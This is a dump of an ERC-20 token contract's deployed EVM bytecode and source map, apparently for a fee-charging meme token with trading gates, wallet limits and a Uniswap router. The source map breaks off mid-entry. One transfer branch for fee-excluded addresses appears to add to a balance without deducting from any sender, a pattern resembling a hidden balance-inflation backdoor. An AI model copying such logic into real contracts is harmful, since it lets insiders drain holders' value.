0x6080604052600436106101185760003560e01c8063751039fc116100a0578063a0ef91df11610064578063a0ef91df146102a2578063a9059cbb146102b7578063b1965e1e146102d7578063bf474bed146102ec578063dd62ed3e146103015761011f565b8063751039fc146102415780637d1db4a5146102565780638da5cb5b1461026b5780638f9a55c01461028d57806395d89b41146101245761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d35780634ed84c1e146101f557806370a082311461020c578063715018a61461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610321565b60405161014691906115cd565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611501565b61033f565b60405161014691906115c2565b34801561018857600080fd5b5061019161035d565b60405161014691906118f7565b3480156101aa57600080fd5b50610191610363565b3480156101bf57600080fd5b5061016f6101ce3660046114c1565b610384565b3480156101df57600080fd5b506101e861040c565b6040516101469190611970565b34801561020157600080fd5b5061020a610411565b005b34801561021857600080fd5b50610191610227366004611451565b6104a1565b34801561023857600080fd5b5061020a6104bc565b34801561024d57600080fd5b5061020a61053b565b34801561026257600080fd5b506101916105b5565b34801561027757600080fd5b506102806105bb565b6040516101469190611559565b34801561029957600080fd5b506101916105ca565b3480156102ae57600080fd5b5061020a6105d0565b3480156102c357600080fd5b5061016f6102d2366004611501565b610610565b3480156102e357600080fd5b5061020a610624565b3480156102f857600080fd5b506101916108ce565b34801561030d57600080fd5b5061019161031c366004611489565b6108d4565b6040805180820190915260048152634341505960e01b602082015290565b600061035361034c6108ff565b8484610903565b5060015b92915050565b60145481565b60006103716009600a6119fc565b61037f90633b9aca00611acd565b905090565b60006103918484846109b7565b6104018461039d6108ff565b6103fc85604051806060016040528060288152602001611b4d602891396001600160a01b038a166000908152600260205260408120906103db6108ff565b6001600160a01b031681526020810191909152604001600020549190610b6d565b610903565b5060015b9392505050565b600990565b6104196108ff565b6000546001600160a01b0390811691161461044f5760405162461bcd60e51b815260040161044690611754565b60405180910390fd5b601654600160a01b900460ff16156104795760405162461bcd60e51b8152600401610446906118c0565b6016805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17905543600855565b6001600160a01b031660009081526001602052604090205490565b6104c46108ff565b6000546001600160a01b039081169116146104f15760405162461bcd60e51b815260040161044690611754565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6105436108ff565b6000546001600160a01b039081169116146105705760405162461bcd60e51b815260040161044690611754565b600019601181905560128190556040517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf916105ab916118f7565b60405180910390a1565b60115481565b6000546001600160a01b031690565b60125481565b6105d86108ff565b6000546001600160a01b039081169116146106055760405162461bcd60e51b815260040161044690611754565b61060e47610ba7565b565b600061035361061d6108ff565b84846109b7565b61062c6108ff565b6000546001600160a01b039081169116146106595760405162461bcd60e51b815260040161044690611754565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556040805163c45a015560e01b815290516001600160a01b03929092169163c45a015591600480820192602092909190829003018186803b1580156106c457600080fd5b505afa1580156106d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fc919061146d565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561075957600080fd5b505afa15801561076d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610791919061146d565b6040518363ffffffff1660e01b81526004016107ae92919061156d565b602060405180830381600087803b1580156107c857600080fd5b505af11580156107dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610800919061146d565b601680546001600160a01b0319166001600160a01b0392831617905560155461082e91309116600019610903565b6015546001600160a01b031663f305d719473061084a816104a1565b6000806108556105bb565b426040518863ffffffff1660e01b815260040161087796959493929190611587565b6060604051808303818588803b15801561089057600080fd5b505af11580156108a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c9919061152c565b505050565b60135481565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166109295760405162461bcd60e51b81526004016104469061187c565b6001600160a01b03821661094f5760405162461bcd60e51b81526004016104469061169a565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109aa9085906118f7565b60405180910390a3505050565b6001600160a01b0383166109dd5760405162461bcd60e51b8152600401610446906117d2565b6001600160a01b038216610a035760405162461bcd60e51b815260040161044690611620565b60008111610a235760405162461bcd60e51b815260040161044690611789565b601654600160a01b900460ff16610a8f576001600160a01b03821660009081526003602052604090205460ff1680610a7357506001600160a01b03831660009081526003602052604090205460ff165b610a8f5760405162461bcd60e51b81526004016104469061184e565b601654600160a81b900460ff1680610ab15750601654600160a01b900460ff16155b15610b62576001600160a01b03831660009081526001602052604081208054839290610ade908490611aec565b90915550506001600160a01b03821660009081526001602052604081208054839290610b0b90849061197e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b5591906118f7565b60405180910390a36108c9565b6108c9838383610c5d565b60008184841115610b915760405162461bcd60e51b815260040161044691906115cd565b506000610b9e8486611aec565b95945050505050565b6000606460065483610bb99190611acd565b610bc39190611996565b90506000606460075484610bd79190611acd565b610be19190611996565b6004546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015610c1c573d6000803e3d6000fd5b506005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c57573d6000803e3d6000fd5b50505050565b6000610c8b6064610c85600d5460105411610c7a57600954610c7e565b600b545b85906110e9565b9061112e565b9050610c956105bb565b6001600160a01b0316846001600160a01b031614158015610ccf5750610cb96105bb565b6001600160a01b0316836001600160a01b031614155b15610fa4576016546001600160a01b038581169116148015610cff57506015546001600160a01b03848116911614155b8015610d2457506001600160a01b03831660009081526003602052604090205460ff16155b15610dbf57601154821115610d4b5760405162461bcd60e51b815260040161044690611663565b60125482610d58856104a1565b610d62919061197e565b1115610d805760405162461bcd60e51b815260040161044690611817565b436008546003610d90919061197e565b1115610da957610d9f83611170565b15610da957600080fd5b60108054906000610db983611b03565b91905055505b6016546001600160a01b03848116911614801590610df657506001600160a01b03831660009081526003602052604090205460ff16155b15610e305760125482610e08856104a1565b610e12919061197e565b1115610e305760405162461bcd60e51b815260040161044690611817565b6001600160a01b0383163014801590610e6157506001600160a01b03841660009081526003602052604090205460ff165b15610e7757610e71848484611176565b506108c9565b6016546001600160a01b038481169116148015610e9d57506001600160a01b0384163014155b15610eca57610ec76064610c85600e5460105411610ebd57600a54610c7e565b600c5485906110e9565b90505b6000610ed5306104a1565b601654909150600160a81b900460ff16158015610eff57506016546001600160a01b038581169116145b8015610f145750601654600160b01b900460ff165b8015610f235750600f54601054115b8015610f4857506001600160a01b03851660009081526003602052604090205460ff16155b8015610f6d57506001600160a01b03841660009081526003602052604090205460ff16155b15610fa257601354811115610f9957610f99610f9484610f8f846014546111f8565b6111f8565b61120d565b610fa247610ba7565b505b801561101c5730600090815260016020526040902054610fc490826113b2565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110139085906118f7565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461103f90836113e1565b6001600160a01b03851660009081526001602052604090205561108461106583836113e1565b6001600160a01b038516600090815260016020526040902054906113b2565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ce85856113e1565b6040516110db91906118f7565b60405180910390a350505050565b6000826110f857506000610357565b60006111048385611acd565b9050826111118583611996565b146104055760405162461bcd60e51b815260040161044690611713565b600061040583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611423565b3b151590565b6001600160a01b038316301480159061118f5750600081115b6111a657600c546111a19060006113b2565b6111c6565b6111c6816111c06000600b546113b290919063ffffffff16565b906113b2565b6001600160a01b038316600090815260016020526040812080549091906111ee90849061197e565b9091555050505050565b60008183116112075782610405565b50919050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112b757600080fd5b505afa1580156112cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ef919061146d565b8160018151811061131057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546113369130911684610903565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061136f908590600090869030904290600401611900565b600060405180830381600087803b15801561138957600080fd5b505af115801561139d573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b6000806113bf838561197e565b9050838110156104055760405162461bcd60e51b8152600401610446906116dc565b600061040583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b6d565b600081836114445760405162461bcd60e51b815260040161044691906115cd565b506000610b9e8486611996565b600060208284031215611462578081fd5b813561040581611b34565b60006020828403121561147e578081fd5b815161040581611b34565b6000806040838503121561149b578081fd5b82356114a681611b34565b915060208301356114b681611b34565b809150509250929050565b6000806000606084860312156114d5578081fd5b83356114e081611b34565b925060208401356114f081611b34565b929592945050506040919091013590565b60008060408385031215611513578182fd5b823561151e81611b34565b946020939093013593505050565b600080600060608486031215611540578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115f9578581018301518582016040015282016115dd565b8181111561160a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b6020808252601490820152733a3930b234b733903737ba103cb2ba1037b832b760611b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561194f5784516001600160a01b03168352938301939183019160010161192a565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561199157611991611b1e565b500190565b6000826119b157634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119c857506119f3565b8187048211156119da576119da611b1e565b808616156119e757918102915b9490941c9380026119b9565b94509492505050565b600061040560001960ff851684600082611a1857506001610405565b81611a2557506000610405565b8160018114611a3b5760028114611a4557611a72565b6001915050610405565b60ff841115611a5657611a56611b1e565b6001841b915084821115611a6c57611a6c611b1e565b50610405565b5060208310610133831016604e8410600b8410161715611aa5575081810a83811115611aa057611aa0611b1e565b610405565b611ab284848460016119b6565b808604821115611ac457611ac4611b1e565b02949350505050565b6000816000190483118215151615611ae757611ae7611b1e565b500290565b600082821015611afe57611afe611b1e565b500390565b6000600019821415611b1757611b17611b1e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b4957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac5eaac966c2cbc86284d3009e290fc411e4d02b9854286bdaf6a31927aef95964736f6c63430008000033

Deployed Bytecode Sourcemap

4062:9820:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6722:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7603:186;;;;;;;;;;-1:-1:-1;7603:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5280:55::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6999:95::-;;;;;;;;;;;;;:::i;7797:446::-;;;;;;;;;;-1:-1:-1;7797:446:0;;;;;:::i;:::-;;:::i;6908:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;13151:200::-;;;;;;;;;;;;;:::i;:::-;;7102:117;;;;;;;;;;-1:-1:-1;7102:117:0;;;;;:::i;:::-;;:::i;3907:148::-;;;;;;;;;;;;;:::i;12583:174::-;;;;;;;;;;;;;:::i;5089:56::-;;;;;;;;;;;;;:::i;3693:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5152:58::-;;;;;;;;;;;;;:::i;13047:96::-;;;;;;;;;;;;;:::i;7227:192::-;;;;;;;;;;-1:-1:-1;7227:192:0;;;;;:::i;:::-;;:::i;6081:633::-;;;;;;;;;;;;;:::i;5217:56::-;;;;;;;;;;;;;:::i;7427:168::-;;;;;;;;;;-1:-1:-1;7427:168:0;;;;;:::i;:::-;;:::i;6722:83::-;6792:5;;;;;;;;;;;;-1:-1:-1;;;6792:5:0;;;;6722:83;:::o;7603:186::-;7703:4;7720:39;7729:12;:10;:12::i;:::-;7743:7;7752:6;7720:8;:39::i;:::-;-1:-1:-1;7777:4:0;7603:186;;;;;:::o;5280:55::-;;;;:::o;6999:95::-;7052:7;4961:15;4905:1;4961:2;:15;:::i;:::-;4948:28;;:10;:28;:::i;:::-;7072:14;;6999:95;:::o;7797:446::-;7929:4;7946:36;7956:6;7964:9;7975:6;7946:9;:36::i;:::-;7993:220;8016:6;8037:12;:10;:12::i;:::-;8064:138;8120:6;8064:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8064:19:0;;;;;;:11;:19;;;;;;8084:12;:10;:12::i;:::-;-1:-1:-1;;;;;8064:33:0;;;;;;;;;;;;-1:-1:-1;8064:33:0;;;:138;:37;:138::i;:::-;7993:8;:220::i;:::-;-1:-1:-1;8231:4:0;7797:446;;;;;;:::o;6908:83::-;4905:1;6908:83;:::o;13151:200::-;3830:12;:10;:12::i;:::-;3820:6;;-1:-1:-1;;;;;3820:6:0;;;:22;;;3812:67;;;;-1:-1:-1;;;3812:67:0;;;;;;;:::i;:::-;;;;;;;;;13210:11:::1;::::0;-1:-1:-1;;;13210:11:0;::::1;;;13209:12;13201:48;;;;-1:-1:-1::0;;;13201:48:0::1;;;;;;;:::i;:::-;13260:11;:18:::0;;-1:-1:-1;;;;;;;;13260:18:0;;::::1;-1:-1:-1::0;;;13260:18:0::1;13289;-1:-1:-1::0;;;13289:18:0::1;::::0;;13331:12:::1;13318:10;:25:::0;13151:200::o;7102:117::-;-1:-1:-1;;;;;7195:16:0;7168:7;7195:16;;;:7;:16;;;;;;;7102:117::o;3907:148::-;3830:12;:10;:12::i;:::-;3820:6;;-1:-1:-1;;;;;3820:6:0;;;:22;;;3812:67;;;;-1:-1:-1;;;3812:67:0;;;;;;;:::i;:::-;4014:1:::1;3998:6:::0;;3977:40:::1;::::0;-1:-1:-1;;;;;3998:6:0;;::::1;::::0;3977:40:::1;::::0;4014:1;;3977:40:::1;4045:1;4028:19:::0;;-1:-1:-1;;;;;;4028:19:0::1;::::0;;3907:148::o;12583:174::-;3830:12;:10;:12::i;:::-;3820:6;;-1:-1:-1;;;;;3820:6:0;;;:22;;;3812:67;;;;-1:-1:-1;;;3812:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12637:12:0::1;:26:::0;;;12674:14:::1;:28:::0;;;12718:31:::1;::::0;::::1;::::0;::::1;::::0;::::1;:::i;:::-;;;;;;;;12583:174::o:0;5089:56::-;;;;:::o;3693:79::-;3731:7;3758:6;-1:-1:-1;;;;;3758:6:0;3693:79;:::o;5152:58::-;;;;:::o;13047:96::-;3830:12;:10;:12::i;:::-;3820:6;;-1:-1:-1;;;;;3820:6:0;;;:22;;;3812:67;;;;-1:-1:-1;;;3812:67:0;;;;;;;:::i;:::-;13100:35:::1;13113:21;13100:12;:35::i;:::-;13047:96::o:0;7227:192::-;7330:4;7347:42;7357:12;:10;:12::i;:::-;7371:9;7382:6;7347:9;:42::i;6081:633::-;3830:12;:10;:12::i;:::-;3820:6;;-1:-1:-1;;;;;3820:6:0;;;:22;;;3812:67;;;;-1:-1:-1;;;3812:67:0;;;;;;;:::i;:::-;6131:15:::1;:104:::0;;-1:-1:-1;;;;;;6131:104:0::1;6182:42;6131:104;::::0;;;;6282:25:::1;::::0;;-1:-1:-1;;;6282:25:0;;;;-1:-1:-1;;;;;6282:15:0;;;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:15;:25;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6264:55:0::1;;6342:4;6362:15;;;;;;;;;-1:-1:-1::0;;;;;6362:15:0::1;-1:-1:-1::0;;;;;6362:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6264:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6248:13;:147:::0;;-1:-1:-1;;;;;;6248:147:0::1;-1:-1:-1::0;;;;;6248:147:0;;::::1;;::::0;;6440:15:::1;::::0;6408:62:::1;::::0;6425:4:::1;::::0;6440:15:::1;-1:-1:-1::0;;6408:8:0::1;:62::i;:::-;6483:15;::::0;-1:-1:-1;;;;;6483:15:0::1;:31;6522:21;6567:4;6587:24;6567:4:::0;6587:9:::1;:24::i;:::-;6626:1;6642::::0;6658:7:::1;:5;:7::i;:::-;6680:15;6483:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6081:633::o:0;5217:56::-;;;;:::o;7427:168::-;-1:-1:-1;;;;;7560:18:0;;;7533:7;7560:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7427:168::o;309:98::-;389:10;309:98;:::o;8251:335::-;-1:-1:-1;;;;;8344:19:0;;8336:68;;;;-1:-1:-1;;;8336:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8423:21:0;;8415:68;;;;-1:-1:-1;;;8415:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8494:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;8546:32;;;;;8524:6;;8546:32;:::i;:::-;;;;;;;;8251:335;;;:::o;11461:796::-;-1:-1:-1;;;;;11554:18:0;;11546:68;;;;-1:-1:-1;;;11546:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11633:16:0;;11625:64;;;;-1:-1:-1;;;11625:64:0;;;;;;;:::i;:::-;11722:1;11708:11;:15;11700:69;;;;-1:-1:-1;;;11700:69:0;;;;;;;:::i;:::-;11787:11;;-1:-1:-1;;;11787:11:0;;;;11782:177;;-1:-1:-1;;;;;11841:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;11867:24:0;;;;;;:18;:24;;;;;;;;11841:50;11815:132;;;;-1:-1:-1;;;11815:132:0;;;;;;;:::i;:::-;11975:6;;-1:-1:-1;;;11975:6:0;;;;;:22;;-1:-1:-1;11986:11:0;;-1:-1:-1;;;11986:11:0;;;;11985:12;11975:22;11971:229;;;-1:-1:-1;;;;;12045:13:0;;;;;;:7;:13;;;;;:28;;12062:11;;12045:13;:28;;12062:11;;12045:28;:::i;:::-;;;;-1:-1:-1;;;;;;;12088:11:0;;;;;;:7;:11;;;;;:26;;12103:11;;12088;:26;;12103:11;;12088:26;:::i;:::-;;;;;;;;12151:2;-1:-1:-1;;;;;12136:31:0;12145:4;-1:-1:-1;;;;;12136:31:0;;12155:11;12136:31;;;;;;:::i;:::-;;;;;;;;12182:7;;11971:229;12212:37;12227:4;12233:2;12237:11;12212:14;:37::i;1564:224::-;1684:7;1720:12;1712:6;;;;1704:29;;;;-1:-1:-1;;;1704:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1744:9:0;1756:5;1760:1;1756;:5;:::i;:::-;1744:17;1564:224;-1:-1:-1;;;;;1564:224:0:o;12765:274::-;12822:16;12875:3;12851:20;;12842:6;:29;;;;:::i;:::-;12841:37;;;;:::i;:::-;12822:56;;12889:17;12944:3;12919:21;;12910:6;:30;;;;:::i;:::-;12909:38;;;;:::i;:::-;12960:10;;:29;;12889:58;;-1:-1:-1;;;;;;12960:10:0;;:29;;;;;12980:8;;12960:10;:29;:10;:29;12980:8;12960:10;:29;;;;;;;;;;;;;;;;;;;;-1:-1:-1;13000:11:0;;:31;;-1:-1:-1;;;;;13000:11:0;;;;:31;;;;;13021:9;;13000:11;:31;:11;:31;13021:9;13000:11;:31;;;;;;;;;;;;;;;;;;;;;12765:274;;;:::o;8594:2620::-;8685:17;8705:115;8816:3;8705:92;8748:15;;8736:9;;:27;8735:61;;8782:14;;8735:61;;;8767:12;;8735:61;8705:11;;:29;:92::i;:::-;:110;;:115::i;:::-;8685:135;;8845:7;:5;:7::i;:::-;-1:-1:-1;;;;;8837:15:0;:4;-1:-1:-1;;;;;8837:15:0;;;:32;;;;;8862:7;:5;:7::i;:::-;-1:-1:-1;;;;;8856:13:0;:2;-1:-1:-1;;;;;8856:13:0;;;8837:32;8833:2005;;;8916:13;;-1:-1:-1;;;;;8908:21:0;;;8916:13;;8908:21;:72;;;;-1:-1:-1;8964:15:0;;-1:-1:-1;;;;;8950:30:0;;;8964:15;;8950:30;;8908:72;:116;;;;-1:-1:-1;;;;;;9002:22:0;;;;;;:18;:22;;;;;;;;9001:23;8908:116;8886:570;;;9082:12;;9067:11;:27;;9059:65;;;;-1:-1:-1;;;9059:65:0;;;;;;;:::i;:::-;9204:14;;9189:11;9173:13;9183:2;9173:9;:13::i;:::-;:27;;;;:::i;:::-;:45;;9143:145;;;;-1:-1:-1;;;9143:145:0;;;;;;;:::i;:::-;9330:12;9313:10;;9326:1;9313:14;;;;:::i;:::-;:29;9309:102;;;9376:14;9387:2;9376:10;:14::i;:::-;9375:15;9367:24;;;;;;9429:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8886:570;9482:13;;-1:-1:-1;;;;;9476:19:0;;;9482:13;;9476:19;;;;:46;;-1:-1:-1;;;;;;9500:22:0;;;;;;:18;:22;;;;;;;;9499:23;9476:46;9472:232;;;9604:14;;9589:11;9573:13;9583:2;9573:9;:13::i;:::-;:27;;;;:::i;:::-;:45;;9543:145;;;;-1:-1:-1;;;9543:145:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9735:19:0;;9749:4;9735:19;;;;:47;;-1:-1:-1;;;;;;9758:24:0;;;;;;:18;:24;;;;;;;;9735:47;9732:100;;;9786:35;9799:4;9805:2;9809:11;9786:12;:35::i;:::-;9823:7;;;9732:100;9858:13;;-1:-1:-1;;;;;9852:19:0;;;9858:13;;9852:19;:44;;;;-1:-1:-1;;;;;;9875:21:0;;9891:4;9875:21;;9852:44;9848:337;;;9929:240;10165:3;9929:209;10006:16;;9994:9;;:28;9993:122;;10100:15;;9993:122;;;10055:13;;9929:11;;:37;:209::i;:240::-;9917:252;;9848:337;10201:28;10232:24;10250:4;10232:9;:24::i;:::-;10294:6;;10201:55;;-1:-1:-1;;;;10294:6:0;;;;10293:7;:47;;;;-1:-1:-1;10327:13:0;;-1:-1:-1;;;;;10321:19:0;;;10327:13;;10321:19;10293:47;:79;;;;-1:-1:-1;10361:11:0;;-1:-1:-1;;;10361:11:0;;;;10293:79;:130;;;;;10405:18;;10393:9;;:30;10293:130;:176;;;;-1:-1:-1;;;;;;10445:24:0;;;;;;:18;:24;;;;;;;;10444:25;10293:176;:220;;;;-1:-1:-1;;;;;;10491:22:0;;;;;;:18;:22;;;;;;;;10490:23;10293:220;10271:556;;;10574:17;;10551:20;:40;10548:210;;;10616:122;10659:56;10663:11;10676:38;10680:20;10702:11;;10676:3;:38::i;:::-;10659:3;:56::i;:::-;10616:16;:122::i;:::-;10776:35;10789:21;10776:12;:35::i;:::-;8833:2005;;10854:13;;10850:168;;10925:4;10909:22;;;;:7;:22;;;;;;:37;;10936:9;10909:26;:37::i;:::-;10900:4;10884:22;;;;:7;:22;;;;;;;:62;;;;10966:40;;-1:-1:-1;;;;;10966:40:0;;;;;;;10996:9;;10966:40;:::i;:::-;;;;;;;;10850:168;-1:-1:-1;;;;;11046:13:0;;;;;;:7;:13;;;;;;:30;;11064:11;11046:17;:30::i;:::-;-1:-1:-1;;;;;11030:13:0;;;;;;:7;:13;;;;;:46;11101:43;11117:26;:11;11133:9;11117:15;:26::i;:::-;-1:-1:-1;;;;;11101:11:0;;;;;;:7;:11;;;;;;;:15;:43::i;:::-;-1:-1:-1;;;;;11087:11:0;;;;;;;:7;:11;;;;;:57;;;;11160:46;;;11179:26;:11;11195:9;11179:15;:26::i;:::-;11160:46;;;;;;:::i;:::-;;;;;;;;8594:2620;;;;:::o;1796:246::-;1854:7;1878:6;1874:47;;-1:-1:-1;1908:1:0;1901:8;;1874:47;1931:9;1943:5;1947:1;1943;:5;:::i;:::-;1931:17;-1:-1:-1;1976:1:0;1967:5;1971:1;1931:17;1967:5;:::i;:::-;:10;1959:56;;;;-1:-1:-1;;;1959:56:0;;;;;;;:::i;2050:132::-;2108:7;2135:39;2139:1;2142;2135:39;;;;;;;;;;;;;;;;;:3;:39::i;12380:195::-;12511:20;12559:8;;;12380:195::o;11222:231::-;-1:-1:-1;;;;;11332:23:0;;11350:4;11332:23;;;;:37;;;11368:1;11359:6;:10;11332:37;:112;;11422:13;;:22;;11440:3;11422:17;:22::i;:::-;11332:112;;;11386:33;11412:6;11386:21;11403:3;11386:12;;:16;;:21;;;;:::i;:::-;:25;;:33::i;:::-;-1:-1:-1;;;;;11312:16:0;;;;;;:7;:16;;;;;:132;;:16;;;:132;;;;;:::i;:::-;;;;-1:-1:-1;;;;;11222:231:0:o;12265:107::-;12322:7;12354:1;12350;:5;12349:15;;12363:1;12349:15;;;-1:-1:-1;12359:1:0;12265:107;-1:-1:-1;12265:107:0:o;13396:483::-;5619:6;:13;;-1:-1:-1;;;;5619:13:0;-1:-1:-1;;;5619:13:0;;;13498:16:::1;::::0;;13512:1:::1;13498:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13498:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13498:16:0::1;13474:40;;13543:4;13525;13530:1;13525:7;;;;;;-1:-1:-1::0;;;13525:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13525:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13569:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13569:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13525:7;;13569:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13559:4;13564:1;13559:7;;;;;;-1:-1:-1::0;;;13559:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13559:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13634:15:::1;::::0;13602:62:::1;::::0;13619:4:::1;::::0;13634:15:::1;13652:11:::0;13602:8:::1;:62::i;:::-;13675:15;::::0;:196:::1;::::0;-1:-1:-1;;;13675:196:0;;-1:-1:-1;;;;;13675:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13756:11;;13675:15:::1;::::0;13798:4;;13825::::1;::::0;13845:15:::1;::::0;13675:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5655:6:0;:14;;-1:-1:-1;;;;5655:14:0;;;-1:-1:-1;;;;13396:483:0:o;1233:179::-;1291:7;;1323:5;1327:1;1323;:5;:::i;:::-;1311:17;;1352:1;1347;:6;;1339:46;;;;-1:-1:-1;;;1339:46:0;;;;;;;:::i;1420:136::-;1478:7;1505:43;1509:1;1512;1505:43;;;;;;;;;;;;;;;;;:3;:43::i;2190:223::-;2310:7;2345:12;2338:5;2330:28;;;;-1:-1:-1;;;2330:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2369:9:0;2381:5;2385:1;2381;:5;:::i;14:259:1:-;;126:2;114:9;105:7;101:23;97